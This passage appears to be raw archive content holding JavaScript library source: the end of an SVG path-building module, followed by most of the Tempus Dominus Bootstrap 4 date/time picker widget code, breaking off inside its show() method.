    else if (Math.abs(this._x1 - x0) > epsilon || Math.abs(this._y1 - y0) > epsilon) {
      this._ += "L" + x0 + "," + y0;
    }

    // Is this arc empty? We’re done.
    if (!r) return;

    // Does the angle go the wrong way? Flip the direction.
    if (da < 0) da = da % tau + tau;

    // Is this a complete circle? Draw two arcs to complete the circle.
    if (da > tauEpsilon) {
      this._ += "A" + r + "," + r + ",0,1," + cw + "," + (x - dx) + "," + (y - dy) + "A" + r + "," + r + ",0,1," + cw + "," + (this._x1 = x0) + "," + (this._y1 = y0);
    }

    // Is this arc non-empty? Draw an arc!
    else if (da > epsilon) {
      this._ += "A" + r + "," + r + ",0," + (+(da >= pi)) + "," + cw + "," + (this._x1 = x + r * Math.cos(a1)) + "," + (this._y1 = y + r * Math.sin(a1));
    }
  },
  rect: function(x, y, w, h) {
    this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y) + "h" + (+w) + "v" + (+h) + "h" + (-w) + "Z";
  },
  toString: function() {
    return this._;
  }
};

export default path;
PK�z�\�]����js/tempusdominus-bootstrap-4.jsnu�[���//noinspection JSUnusedGlobalSymbols
/* global DateTimePicker */
const TempusDominusBootstrap4 = ($ => { // eslint-disable-line no-unused-vars
    // ReSharper disable once InconsistentNaming
    const JQUERY_NO_CONFLICT = $.fn[DateTimePicker.NAME],
        verticalModes = ['top', 'bottom', 'auto'],
        horizontalModes = ['left', 'right', 'auto'],
        toolbarPlacements = ['default', 'top', 'bottom'],
        getSelectorFromElement = function ($element) {
            let selector = $element.data('target'),
                $selector;

            if (!selector) {
                selector = $element.attr('href') || '';
                selector = /^#[a-z]/i.test(selector) ? selector : null;
            }
            $selector = $(selector);
            if ($selector.length === 0) {
                return $selector;
            }

            if (!$selector.data(DateTimePicker.DATA_KEY)) {
                $.extend({}, $selector.data(), $(this).data());
            }

            return $selector;
        };

    // ReSharper disable once InconsistentNaming
    class TempusDominusBootstrap4 extends DateTimePicker {
        constructor(element, options) {
            super(element, options);
            this._init();
        }

        _init() {
            if (this._element.hasClass('input-group')) {
                const datepickerButton = this._element.find('.datepickerbutton');
                if (datepickerButton.length === 0) {
                    this.component = this._element.find('[data-toggle="datetimepicker"]');
                } else {
                    this.component = datepickerButton;
                }
            }
        }

        _getDatePickerTemplate() {
            const headTemplate = $('<thead>').append($('<tr>').append($('<th>').addClass('prev').attr('data-action', 'previous').append($('<span>').addClass(this._options.icons.previous))).append($('<th>').addClass('picker-switch').attr('data-action', 'pickerSwitch').attr('colspan', `${this._options.calendarWeeks ? '6' : '5'}`)).append($('<th>').addClass('next').attr('data-action', 'next').append($('<span>').addClass(this._options.icons.next)))),
                contTemplate = $('<tbody>').append($('<tr>').append($('<td>').attr('colspan', `${this._options.calendarWeeks ? '8' : '7'}`)));

            return [$('<div>').addClass('datepicker-days').append($('<table>').addClass('table table-sm').append(headTemplate).append($('<tbody>'))), $('<div>').addClass('datepicker-months').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone())), $('<div>').addClass('datepicker-years').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone())), $('<div>').addClass('datepicker-decades').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone()))];
        }

        _getTimePickerMainTemplate() {
            const topRow = $('<tr>'),
                middleRow = $('<tr>'),
                bottomRow = $('<tr>');

            if (this._isEnabled('h')) {
                topRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.incrementHour
                }).addClass('btn').attr('data-action', 'incrementHours').append($('<span>').addClass(this._options.icons.up))));
                middleRow.append($('<td>').append($('<span>').addClass('timepicker-hour').attr({
                    'data-time-component': 'hours',
                    'title': this._options.tooltips.pickHour
                }).attr('data-action', 'showHours')));
                bottomRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.decrementHour
                }).addClass('btn').attr('data-action', 'decrementHours').append($('<span>').addClass(this._options.icons.down))));
            }
            if (this._isEnabled('m')) {
                if (this._isEnabled('h')) {
                    topRow.append($('<td>').addClass('separator'));
                    middleRow.append($('<td>').addClass('separator').html(':'));
                    bottomRow.append($('<td>').addClass('separator'));
                }
                topRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.incrementMinute
                }).addClass('btn').attr('data-action', 'incrementMinutes').append($('<span>').addClass(this._options.icons.up))));
                middleRow.append($('<td>').append($('<span>').addClass('timepicker-minute').attr({
                    'data-time-component': 'minutes',
                    'title': this._options.tooltips.pickMinute
                }).attr('data-action', 'showMinutes')));
                bottomRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.decrementMinute
                }).addClass('btn').attr('data-action', 'decrementMinutes').append($('<span>').addClass(this._options.icons.down))));
            }
            if (this._isEnabled('s')) {
                if (this._isEnabled('m')) {
                    topRow.append($('<td>').addClass('separator'));
                    middleRow.append($('<td>').addClass('separator').html(':'));
                    bottomRow.append($('<td>').addClass('separator'));
                }
                topRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.incrementSecond
                }).addClass('btn').attr('data-action', 'incrementSeconds').append($('<span>').addClass(this._options.icons.up))));
                middleRow.append($('<td>').append($('<span>').addClass('timepicker-second').attr({
                    'data-time-component': 'seconds',
                    'title': this._options.tooltips.pickSecond
                }).attr('data-action', 'showSeconds')));
                bottomRow.append($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'title': this._options.tooltips.decrementSecond
                }).addClass('btn').attr('data-action', 'decrementSeconds').append($('<span>').addClass(this._options.icons.down))));
            }

            if (!this.use24Hours) {
                topRow.append($('<td>').addClass('separator'));
                middleRow.append($('<td>').append($('<button>').addClass('btn btn-primary').attr({
                    'data-action': 'togglePeriod',
                    tabindex: '-1',
                    'title': this._options.tooltips.togglePeriod
                })));
                bottomRow.append($('<td>').addClass('separator'));
            }

            return $('<div>').addClass('timepicker-picker').append($('<table>').addClass('table-condensed').append([topRow, middleRow, bottomRow]));
        }

        _getTimePickerTemplate() {
            const hoursView = $('<div>').addClass('timepicker-hours').append($('<table>').addClass('table-condensed')),
                minutesView = $('<div>').addClass('timepicker-minutes').append($('<table>').addClass('table-condensed')),
                secondsView = $('<div>').addClass('timepicker-seconds').append($('<table>').addClass('table-condensed')),
                ret = [this._getTimePickerMainTemplate()];

            if (this._isEnabled('h')) {
                ret.push(hoursView);
            }
            if (this._isEnabled('m')) {
                ret.push(minutesView);
            }
            if (this._isEnabled('s')) {
                ret.push(secondsView);
            }

            return ret;
        }

        _getToolbar() {
            const row = [];
            if (this._options.buttons.showToday) {
                row.push($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'data-action': 'today',
                    'title': this._options.tooltips.today
                }).append($('<span>').addClass(this._options.icons.today))));
            }
            if (!this._options.sideBySide && this._hasDate() && this._hasTime()) {
                let title, icon;
                if (this._options.viewMode === 'times') {
                    title = this._options.tooltips.selectDate;
                    icon = this._options.icons.date;
                } else {
                    title = this._options.tooltips.selectTime;
                    icon = this._options.icons.time;
                }
                row.push($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'data-action': 'togglePicker',
                    'title': title
                }).append($('<span>').addClass(icon))));
            }
            if (this._options.buttons.showClear) {
                row.push($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'data-action': 'clear',
                    'title': this._options.tooltips.clear
                }).append($('<span>').addClass(this._options.icons.clear))));
            }
            if (this._options.buttons.showClose) {
                row.push($('<td>').append($('<a>').attr({
                    href: '#',
                    tabindex: '-1',
                    'data-action': 'close',
                    'title': this._options.tooltips.close
                }).append($('<span>').addClass(this._options.icons.close))));
            }
            return row.length === 0 ? '' : $('<table>').addClass('table-condensed').append($('<tbody>').append($('<tr>').append(row)));
        }

        _getTemplate() {
            const template = $('<div>').addClass('bootstrap-datetimepicker-widget dropdown-menu'),
                dateView = $('<div>').addClass('datepicker').append(this._getDatePickerTemplate()),
                timeView = $('<div>').addClass('timepicker').append(this._getTimePickerTemplate()),
                content = $('<ul>').addClass('list-unstyled'),
                toolbar = $('<li>').addClass(`picker-switch${this._options.collapse ? ' accordion-toggle' : ''}`).append(this._getToolbar());

            if (this._options.inline) {
                template.removeClass('dropdown-menu');
            }

            if (this.use24Hours) {
                template.addClass('usetwentyfour');
            }
            if (this._isEnabled('s') && !this.use24Hours) {
                template.addClass('wider');
            }

            if (this._options.sideBySide && this._hasDate() && this._hasTime()) {
                template.addClass('timepicker-sbs');
                if (this._options.toolbarPlacement === 'top') {
                    template.append(toolbar);
                }
                template.append($('<div>').addClass('row').append(dateView.addClass('col-md-6')).append(timeView.addClass('col-md-6')));
                if (this._options.toolbarPlacement === 'bottom' || this._options.toolbarPlacement === 'default') {
                    template.append(toolbar);
                }
                return template;
            }

            if (this._options.toolbarPlacement === 'top') {
                content.append(toolbar);
            }
            if (this._hasDate()) {
                content.append($('<li>').addClass(this._options.collapse && this._hasTime() ? 'collapse' : '')
                    .addClass((this._options.collapse && this._hasTime() && this._options.viewMode === 'times' ? '' : 'show'))
                    .append(dateView));
            }
            if (this._options.toolbarPlacement === 'default') {
                content.append(toolbar);
            }
            if (this._hasTime()) {
                content.append($('<li>').addClass(this._options.collapse && this._hasDate() ? 'collapse' : '')
                    .addClass((this._options.collapse && this._hasDate() && this._options.viewMode === 'times' ? 'show' : ''))
                    .append(timeView));
            }
            if (this._options.toolbarPlacement === 'bottom') {
                content.append(toolbar);
            }
            return template.append(content);
        }

        _place(e) {
            let self = (e && e.data && e.data.picker) || this, vertical = self._options.widgetPositioning.vertical,
                horizontal = self._options.widgetPositioning.horizontal,
                parent;
            const position = (self.component && self.component.length ? self.component : self._element).position(),
                offset = (self.component && self.component.length ? self.component : self._element).offset();
            if (self._options.widgetParent) {
                parent = self._options.widgetParent.append(self.widget);
            } else if (self._element.is('input')) {
                parent = self._element.after(self.widget).parent();
            } else if (self._options.inline) {
                parent = self._element.append(self.widget);
                return;
            } else {
                parent = self._element;
                self._element.children().first().after(self.widget);
            }

            // Top and bottom logic
            if (vertical === 'auto') {
                //noinspection JSValidateTypes
                if (offset.top + self.widget.height() * 1.5 >= $(window).height() + $(window).scrollTop() && self.widget.height() + self._element.outerHeight() < offset.top) {
                    vertical = 'top';
                } else {
                    vertical = 'bottom';
                }
            }

            // Left and right logic
            if (horizontal === 'auto') {
                if (parent.width() < offset.left + self.widget.outerWidth() / 2 && offset.left + self.widget.outerWidth() > $(window).width()) {
                    horizontal = 'right';
                } else {
                    horizontal = 'left';
                }
            }

            if (vertical === 'top') {
                self.widget.addClass('top').removeClass('bottom');
            } else {
                self.widget.addClass('bottom').removeClass('top');
            }

            if (horizontal === 'right') {
                self.widget.addClass('float-right');
            } else {
                self.widget.removeClass('float-right');
            }

            // find the first parent element that has a relative css positioning
            if (parent.css('position') !== 'relative') {
                parent = parent.parents().filter(function () {
                    return $(this).css('position') === 'relative';
                }).first();
            }

            if (parent.length === 0) {
                throw new Error('datetimepicker component should be placed within a relative positioned container');
            }

            self.widget.css({
                top: vertical === 'top' ? 'auto' : position.top + self._element.outerHeight() + 'px',
                bottom: vertical === 'top' ? parent.outerHeight() - (parent === self._element ? 0 : position.top) + 'px' : 'auto',
                left: horizontal === 'left' ? (parent === self._element ? 0 : position.left) + 'px' : 'auto',
                right: horizontal === 'left' ? 'auto' : parent.outerWidth() - self._element.outerWidth() - (parent === self._element ? 0 : position.left) + 'px'
            });
        }

        _fillDow() {
            const row = $('<tr>'),
                currentDate = this._viewDate.clone().startOf('w').startOf('d');

            if (this._options.calendarWeeks === true) {
                row.append($('<th>').addClass('cw').text('#'));
            }

            while (currentDate.isBefore(this._viewDate.clone().endOf('w'))) {
                row.append($('<th>').addClass('dow').text(currentDate.format('dd')));
                currentDate.add(1, 'd');
            }
            this.widget.find('.datepicker-days thead').append(row);
        }

        _fillMonths() {
            const spans = [],
                monthsShort = this._viewDate.clone().startOf('y').startOf('d');
            while (monthsShort.isSame(this._viewDate, 'y')) {
                spans.push($('<span>').attr('data-action', 'selectMonth').addClass('month').text(monthsShort.format('MMM')));
                monthsShort.add(1, 'M');
            }
            this.widget.find('.datepicker-months td').empty().append(spans);
        }

        _updateMonths() {
            const monthsView = this.widget.find('.datepicker-months'),
                monthsViewHeader = monthsView.find('th'),
                months = monthsView.find('tbody').find('span'), self = this;

            monthsViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevYear);
            monthsViewHeader.eq(1).attr('title', this._options.tooltips.selectYear);
            monthsViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextYear);

            monthsView.find('.disabled').removeClass('disabled');

            if (!this._isValid(this._viewDate.clone().subtract(1, 'y'), 'y')) {
                monthsViewHeader.eq(0).addClass('disabled');
            }

            monthsViewHeader.eq(1).text(this._viewDate.year());

            if (!this._isValid(this._viewDate.clone().add(1, 'y'), 'y')) {
                monthsViewHeader.eq(2).addClass('disabled');
            }

            months.removeClass('active');
            if (this._getLastPickedDate().isSame(this._viewDate, 'y') && !this.unset) {
                months.eq(this._getLastPickedDate().month()).addClass('active');
            }

            months.each(function (index) {
                if (!self._isValid(self._viewDate.clone().month(index), 'M')) {
                    $(this).addClass('disabled');
                }
            });
        }

        _getStartEndYear(factor, year) {
            const step = factor / 10,
                startYear = Math.floor(year / factor) * factor,
                endYear = startYear + step * 9,
                focusValue = Math.floor(year / step) * step;
            return [startYear, endYear, focusValue];
        }

        _updateYears() {
            const yearsView = this.widget.find('.datepicker-years'),
                yearsViewHeader = yearsView.find('th'),
                yearCaps = this._getStartEndYear(10, this._viewDate.year()),
                startYear = this._viewDate.clone().year(yearCaps[0]),
                endYear = this._viewDate.clone().year(yearCaps[1]);
            let html = '';

            yearsViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevDecade);
            yearsViewHeader.eq(1).attr('title', this._options.tooltips.selectDecade);
            yearsViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextDecade);

            yearsView.find('.disabled').removeClass('disabled');

            if (this._options.minDate && this._options.minDate.isAfter(startYear, 'y')) {
                yearsViewHeader.eq(0).addClass('disabled');
            }

            yearsViewHeader.eq(1).text(`${startYear.year()}-${endYear.year()}`);

            if (this._options.maxDate && this._options.maxDate.isBefore(endYear, 'y')) {
                yearsViewHeader.eq(2).addClass('disabled');
            }

            html += `<span data-action="selectYear" class="year old${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year() - 1}</span>`;
            while (!startYear.isAfter(endYear, 'y')) {
                html += `<span data-action="selectYear" class="year${startYear.isSame(this._getLastPickedDate(), 'y') && !this.unset ? ' active' : ''}${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year()}</span>`;
                startYear.add(1, 'y');
            }
            html += `<span data-action="selectYear" class="year old${!this._isValid(startYear, 'y') ? ' disabled' : ''}">${startYear.year()}</span>`;

            yearsView.find('td').html(html);
        }

        _updateDecades() {
            const decadesView = this.widget.find('.datepicker-decades'),
                decadesViewHeader = decadesView.find('th'),
                yearCaps = this._getStartEndYear(100, this._viewDate.year()),
                startDecade = this._viewDate.clone().year(yearCaps[0]),
                endDecade = this._viewDate.clone().year(yearCaps[1]);
            let minDateDecade = false,
                maxDateDecade = false,
                endDecadeYear,
                html = '';

            decadesViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevCentury);
            decadesViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextCentury);

            decadesView.find('.disabled').removeClass('disabled');

            if (startDecade.year() === 0 || this._options.minDate && this._options.minDate.isAfter(startDecade, 'y')) {
                decadesViewHeader.eq(0).addClass('disabled');
            }

            decadesViewHeader.eq(1).text(`${startDecade.year()}-${endDecade.year()}`);

            if (this._options.maxDate && this._options.maxDate.isBefore(endDecade, 'y')) {
                decadesViewHeader.eq(2).addClass('disabled');
            }

            if (startDecade.year() - 10 < 0) {
                html += '<span>&nbsp;</span>';
            } else {
                html += `<span data-action="selectDecade" class="decade old" data-selection="${startDecade.year() + 6}">${startDecade.year() - 10}</span>`;
            }

            while (!startDecade.isAfter(endDecade, 'y')) {
                endDecadeYear = startDecade.year() + 11;
                minDateDecade = this._options.minDate && this._options.minDate.isAfter(startDecade, 'y') && this._options.minDate.year() <= endDecadeYear;
                maxDateDecade = this._options.maxDate && this._options.maxDate.isAfter(startDecade, 'y') && this._options.maxDate.year() <= endDecadeYear;
                html += `<span data-action="selectDecade" class="decade${this._getLastPickedDate().isAfter(startDecade) && this._getLastPickedDate().year() <= endDecadeYear ? ' active' : ''}${!this._isValid(startDecade, 'y') && !minDateDecade && !maxDateDecade ? ' disabled' : ''}" data-selection="${startDecade.year() + 6}">${startDecade.year()}</span>`;
                startDecade.add(10, 'y');
            }
            html += `<span data-action="selectDecade" class="decade old" data-selection="${startDecade.year() + 6}">${startDecade.year()}</span>`;

            decadesView.find('td').html(html);
        }

        _fillDate() {
            const daysView = this.widget.find('.datepicker-days'),
                daysViewHeader = daysView.find('th'),
                html = [];
            let currentDate, row, clsName, i;

            if (!this._hasDate()) {
                return;
            }

            daysViewHeader.eq(0).find('span').attr('title', this._options.tooltips.prevMonth);
            daysViewHeader.eq(1).attr('title', this._options.tooltips.selectMonth);
            daysViewHeader.eq(2).find('span').attr('title', this._options.tooltips.nextMonth);

            daysView.find('.disabled').removeClass('disabled');
            daysViewHeader.eq(1).text(this._viewDate.format(this._options.dayViewHeaderFormat));

            if (!this._isValid(this._viewDate.clone().subtract(1, 'M'), 'M')) {
                daysViewHeader.eq(0).addClass('disabled');
            }
            if (!this._isValid(this._viewDate.clone().add(1, 'M'), 'M')) {
                daysViewHeader.eq(2).addClass('disabled');
            }

            currentDate = this._viewDate.clone().startOf('M').startOf('w').startOf('d');

            for (i = 0; i < 42; i++) {
                //always display 42 days (should show 6 weeks)
                if (currentDate.weekday() === 0) {
                    row = $('<tr>');
                    if (this._options.calendarWeeks) {
                        row.append(`<td class="cw">${currentDate.week()}</td>`);
                    }
                    html.push(row);
                }
                clsName = '';
                if (currentDate.isBefore(this._viewDate, 'M')) {
                    clsName += ' old';
                }
                if (currentDate.isAfter(this._viewDate, 'M')) {
                    clsName += ' new';
                }
                if (this._options.allowMultidate) {
                    var index = this._datesFormatted.indexOf(currentDate.format('YYYY-MM-DD'));
                    if (index !== -1) {
                        if (currentDate.isSame(this._datesFormatted[index], 'd') && !this.unset) {
                            clsName += ' active';
                        }
                    }
                } else {
                    if (currentDate.isSame(this._getLastPickedDate(), 'd') && !this.unset) {
                        clsName += ' active';
                    }
                }
                if (!this._isValid(currentDate, 'd')) {
                    clsName += ' disabled';
                }
                if (currentDate.isSame(this.getMoment(), 'd')) {
                    clsName += ' today';
                }
                if (currentDate.day() === 0 || currentDate.day() === 6) {
                    clsName += ' weekend';
                }
                row.append(`<td data-action="selectDay" data-day="${currentDate.format('L')}" class="day${clsName}">${currentDate.date()}</td>`);
                currentDate.add(1, 'd');
            }

            daysView.find('tbody').empty().append(html);

            this._updateMonths();

            this._updateYears();

            this._updateDecades();
        }

        _fillHours() {
            const table = this.widget.find('.timepicker-hours table'),
                currentHour = this._viewDate.clone().startOf('d'),
                html = [];
            let row = $('<tr>');

            if (this._viewDate.hour() > 11 && !this.use24Hours) {
                currentHour.hour(12);
            }
            while (currentHour.isSame(this._viewDate, 'd') && (this.use24Hours || this._viewDate.hour() < 12 && currentHour.hour() < 12 || this._viewDate.hour() > 11)) {
                if (currentHour.hour() % 4 === 0) {
                    row = $('<tr>');
                    html.push(row);
                }
                row.append(`<td data-action="selectHour" class="hour${!this._isValid(currentHour, 'h') ? ' disabled' : ''}">${currentHour.format(this.use24Hours ? 'HH' : 'hh')}</td>`);
                currentHour.add(1, 'h');
            }
            table.empty().append(html);
        }

        _fillMinutes() {
            const table = this.widget.find('.timepicker-minutes table'),
                currentMinute = this._viewDate.clone().startOf('h'),
                html = [],
                step = this._options.stepping === 1 ? 5 : this._options.stepping;
            let row = $('<tr>');

            while (this._viewDate.isSame(currentMinute, 'h')) {
                if (currentMinute.minute() % (step * 4) === 0) {
                    row = $('<tr>');
                    html.push(row);
                }
                row.append(`<td data-action="selectMinute" class="minute${!this._isValid(currentMinute, 'm') ? ' disabled' : ''}">${currentMinute.format('mm')}</td>`);
                currentMinute.add(step, 'm');
            }
            table.empty().append(html);
        }

        _fillSeconds() {
            const table = this.widget.find('.timepicker-seconds table'),
                currentSecond = this._viewDate.clone().startOf('m'),
                html = [];
            let row = $('<tr>');

            while (this._viewDate.isSame(currentSecond, 'm')) {
                if (currentSecond.second() % 20 === 0) {
                    row = $('<tr>');
                    html.push(row);
                }
                row.append(`<td data-action="selectSecond" class="second${!this._isValid(currentSecond, 's') ? ' disabled' : ''}">${currentSecond.format('ss')}</td>`);
                currentSecond.add(5, 's');
            }

            table.empty().append(html);
        }

        _fillTime() {
            let toggle, newDate;
            const timeComponents = this.widget.find('.timepicker span[data-time-component]');

            if (!this.use24Hours) {
                toggle = this.widget.find('.timepicker [data-action=togglePeriod]');
                newDate = this._getLastPickedDate().clone().add(this._getLastPickedDate().hours() >= 12 ? -12 : 12, 'h');

                toggle.text(this._getLastPickedDate().format('A'));

                if (this._isValid(newDate, 'h')) {
                    toggle.removeClass('disabled');
                } else {
                    toggle.addClass('disabled');
                }
            }
            timeComponents.filter('[data-time-component=hours]').text(this._getLastPickedDate().format(`${this.use24Hours ? 'HH' : 'hh'}`));
            timeComponents.filter('[data-time-component=minutes]').text(this._getLastPickedDate().format('mm'));
            timeComponents.filter('[data-time-component=seconds]').text(this._getLastPickedDate().format('ss'));

            this._fillHours();
            this._fillMinutes();
            this._fillSeconds();
        }

        _doAction(e, action) {
            let lastPicked = this._getLastPickedDate();
            if ($(e.currentTarget).is('.disabled')) {
                return false;
            }
            action = action || $(e.currentTarget).data('action');
            switch (action) {
                case 'next':
                    {
                        const navFnc = DateTimePicker.DatePickerModes[this.currentViewMode].NAV_FUNCTION;
                        this._viewDate.add(DateTimePicker.DatePickerModes[this.currentViewMode].NAV_STEP, navFnc);
                        this._fillDate();
                        this._viewUpdate(navFnc);
                        break;
                    }
                case 'previous':
                    {
                        const navFnc = DateTimePicker.DatePickerModes[this.currentViewMode].NAV_FUNCTION;
                        this._viewDate.subtract(DateTimePicker.DatePickerModes[this.currentViewMode].NAV_STEP, navFnc);
                        this._fillDate();
                        this._viewUpdate(navFnc);
                        break;
                    }
                case 'pickerSwitch':
                    this._showMode(1);
                    break;
                case 'selectMonth':
                    {
                        const month = $(e.target).closest('tbody').find('span').index($(e.target));
                        this._viewDate.month(month);
                        if (this.currentViewMode === this.MinViewModeNumber) {
                            this._setValue(lastPicked.clone().year(this._viewDate.year()).month(this._viewDate.month()), this._getLastPickedDateIndex());
                            if (!this._options.inline) {
                                this.hide();
                            }
                        } else {
                            this._showMode(-1);
                            this._fillDate();
                        }
                        this._viewUpdate('M');
                        break;
                    }
                case 'selectYear':
                    {
                        const year = parseInt($(e.target).text(), 10) || 0;
                        this._viewDate.year(year);
                        if (this.currentViewMode === this.MinViewModeNumber) {
                            this._setValue(lastPicked.clone().year(this._viewDate.year()), this._getLastPickedDateIndex());
                            if (!this._options.inline) {
                                this.hide();
                            }
                        } else {
                            this._showMode(-1);
                            this._fillDate();
                        }
                        this._viewUpdate('YYYY');
                        break;
                    }
                case 'selectDecade':
                    {
                        const year = parseInt($(e.target).data('selection'), 10) || 0;
                        this._viewDate.year(year);
                        if (this.currentViewMode === this.MinViewModeNumber) {
                            this._setValue(lastPicked.clone().year(this._viewDate.year()), this._getLastPickedDateIndex());
                            if (!this._options.inline) {
                                this.hide();
                            }
                        } else {
                            this._showMode(-1);
                            this._fillDate();
                        }
                        this._viewUpdate('YYYY');
                        break;
                    }
                case 'selectDay':
                    {
                        const day = this._viewDate.clone();
                        if ($(e.target).is('.old')) {
                            day.subtract(1, 'M');
                        }
                        if ($(e.target).is('.new')) {
                            day.add(1, 'M');
                        }

                        var selectDate = day.date(parseInt($(e.target).text(), 10)), index = 0;
                        if (this._options.allowMultidate) {
                            index = this._datesFormatted.indexOf(selectDate.format('YYYY-MM-DD'));
                            if (index !== -1) {
                                this._setValue(null, index); //deselect multidate
                            } else {
                                this._setValue(selectDate, this._getLastPickedDateIndex() + 1);
                            }
                        } else {
                            this._setValue(selectDate, this._getLastPickedDateIndex());
                        }

                        if (!this._hasTime() && !this._options.keepOpen && !this._options.inline && !this._options.allowMultidate) {
                            this.hide();
                        }
                        break;
                    }
                case 'incrementHours':
                    {
                        const newDate = lastPicked.clone().add(1, 'h');
                        if (this._isValid(newDate, 'h')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'incrementMinutes':
                    {
                        const newDate = lastPicked.clone().add(this._options.stepping, 'm');
                        if (this._isValid(newDate, 'm')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'incrementSeconds':
                    {
                        const newDate = lastPicked.clone().add(1, 's');
                        if (this._isValid(newDate, 's')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'decrementHours':
                    {
                        const newDate = lastPicked.clone().subtract(1, 'h');
                        if (this._isValid(newDate, 'h')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'decrementMinutes':
                    {
                        const newDate = lastPicked.clone().subtract(this._options.stepping, 'm');
                        if (this._isValid(newDate, 'm')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'decrementSeconds':
                    {
                        const newDate = lastPicked.clone().subtract(1, 's');
                        if (this._isValid(newDate, 's')) {
                            this._setValue(newDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
                case 'togglePeriod':
                    {
                        this._setValue(lastPicked.clone().add(lastPicked.hours() >= 12 ? -12 : 12, 'h'), this._getLastPickedDateIndex());
                        break;
                    }
                case 'togglePicker':
                    {
                        const $this = $(e.target),
                            $link = $this.closest('a'),
                            $parent = $this.closest('ul'),
                            expanded = $parent.find('.show'),
                            closed = $parent.find('.collapse:not(.show)'),
                            $span = $this.is('span') ? $this : $this.find('span');
                        let collapseData;

                        if (expanded && expanded.length) {
                            collapseData = expanded.data('collapse');
                            if (collapseData && collapseData.transitioning) {
                                return true;
                            }
                            if (expanded.collapse) {
                                // if collapse plugin is available through bootstrap.js then use it
                                expanded.collapse('hide');
                                closed.collapse('show');
                            } else {
                                // otherwise just toggle in class on the two views
                                expanded.removeClass('show');
                                closed.addClass('show');
                            }
                            $span.toggleClass(this._options.icons.time + ' ' + this._options.icons.date);

                            if ($span.hasClass(this._options.icons.date)) {
                                $link.attr('title', this._options.tooltips.selectDate);
                            } else {
                                $link.attr('title', this._options.tooltips.selectTime);
                            }
                        }
                    }
                    break;
                case 'showPicker':
                    this.widget.find('.timepicker > div:not(.timepicker-picker)').hide();
                    this.widget.find('.timepicker .timepicker-picker').show();
                    break;
                case 'showHours':
                    this.widget.find('.timepicker .timepicker-picker').hide();
                    this.widget.find('.timepicker .timepicker-hours').show();
                    break;
                case 'showMinutes':
                    this.widget.find('.timepicker .timepicker-picker').hide();
                    this.widget.find('.timepicker .timepicker-minutes').show();
                    break;
                case 'showSeconds':
                    this.widget.find('.timepicker .timepicker-picker').hide();
                    this.widget.find('.timepicker .timepicker-seconds').show();
                    break;
                case 'selectHour':
                    {
                        let hour = parseInt($(e.target).text(), 10);

                        if (!this.use24Hours) {
                            if (lastPicked.hours() >= 12) {
                                if (hour !== 12) {
                                    hour += 12;
                                }
                            } else {
                                if (hour === 12) {
                                    hour = 0;
                                }
                            }
                        }
                        this._setValue(lastPicked.clone().hours(hour), this._getLastPickedDateIndex());
                        if (!this._isEnabled('a') && !this._isEnabled('m') && !this._options.keepOpen && !this._options.inline) {
                            this.hide();
                        }
                        else {
                            this._doAction(e, 'showPicker');
                        }
                        break;
                    }
                case 'selectMinute':
                    this._setValue(lastPicked.clone().minutes(parseInt($(e.target).text(), 10)), this._getLastPickedDateIndex());
                    if (!this._isEnabled('a') && !this._isEnabled('s') && !this._options.keepOpen && !this._options.inline) {
                        this.hide();
                    }
                    else {
                        this._doAction(e, 'showPicker');
                    }
                    break;
                case 'selectSecond':
                    this._setValue(lastPicked.clone().seconds(parseInt($(e.target).text(), 10)), this._getLastPickedDateIndex());
                    if (!this._isEnabled('a') && !this._options.keepOpen && !this._options.inline) {
                        this.hide();
                    }
                    else {
                        this._doAction(e, 'showPicker');
                    }
                    break;
                case 'clear':
                    this.clear();
                    break;
                case 'close':
                    this.hide();
                    break;
                case 'today':
                    {
                        const todaysDate = this.getMoment();
                        if (this._isValid(todaysDate, 'd')) {
                            this._setValue(todaysDate, this._getLastPickedDateIndex());
                        }
                        break;
                    }
            }
            return false;
        }

        //public
        hide() {
            let transitioning = false;
            if (!this.widget) {
                return;
            }
            // Ignore event if in the middle of a picker transition
            this.widget.find('.collapse').each(function () {
                const collapseData = $(this).data('collapse');
                if (collapseData && collapseData.transitioning) {
                    transitioning = true;
                    return false;
                }
                return true;
            });
            if (transitioning) {
                return;
            }
            if (this.component && this.component.hasClass('btn')) {
                this.component.toggleClass('active');
            }
            this.widget.hide();

            $(window).off('resize', this._place());
            this.widget.off('click', '[data-action]');
            this.widget.off('mousedown', false);

            this.widget.remove();
            this.widget = false;

            this._notifyEvent({
                type: DateTimePicker.Event.HIDE,
                date: this._getLastPickedDate().clone()
            });

            if (this.input !== undefined) {
                this.input.blur();
            }

            this._viewDate = this._getLastPickedDate().clone();
        }

        show() {
            let currentMoment;
            const useCurrentGranularity = {
                'year': function (m) {
